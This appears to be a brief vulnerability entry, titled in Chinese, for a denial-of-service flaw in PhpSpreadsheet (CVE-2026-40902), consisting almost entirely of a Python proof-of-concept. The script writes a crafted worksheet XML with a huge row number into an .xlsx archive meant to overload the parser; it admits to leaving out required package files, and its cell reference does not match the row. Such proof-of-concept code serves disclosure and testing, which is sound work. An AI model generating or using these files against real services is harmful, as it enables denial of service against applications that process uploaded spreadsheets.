CVE-2026-40902 PhpSpreadsheet 拒绝服务漏洞

import zipfile import os # Create a malicious Excel file structure xml_content = b"""<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="999999999"> <c r="A1"><v>1</v></c> </row> </sheetData> </worksheet>""" # Note: This is a simplified PoC snippet showing the XML payload. # To create a valid .xlsx for testing, one would need to package this # inside a zip file with the correct directory structure (xl/worksheets/sheet1.xml) # along with [Content_Types].xml and other required relationships. # Example Python script to generate the PoC file: with zipfile.ZipFile('poc_exploit.xlsx', 'w') as z: z.writestr('xl/worksheets/sheet1.xml', xml_content) # Additional files needed for a valid XLSX would go here print('PoC file generated: poc_exploit.xlsx')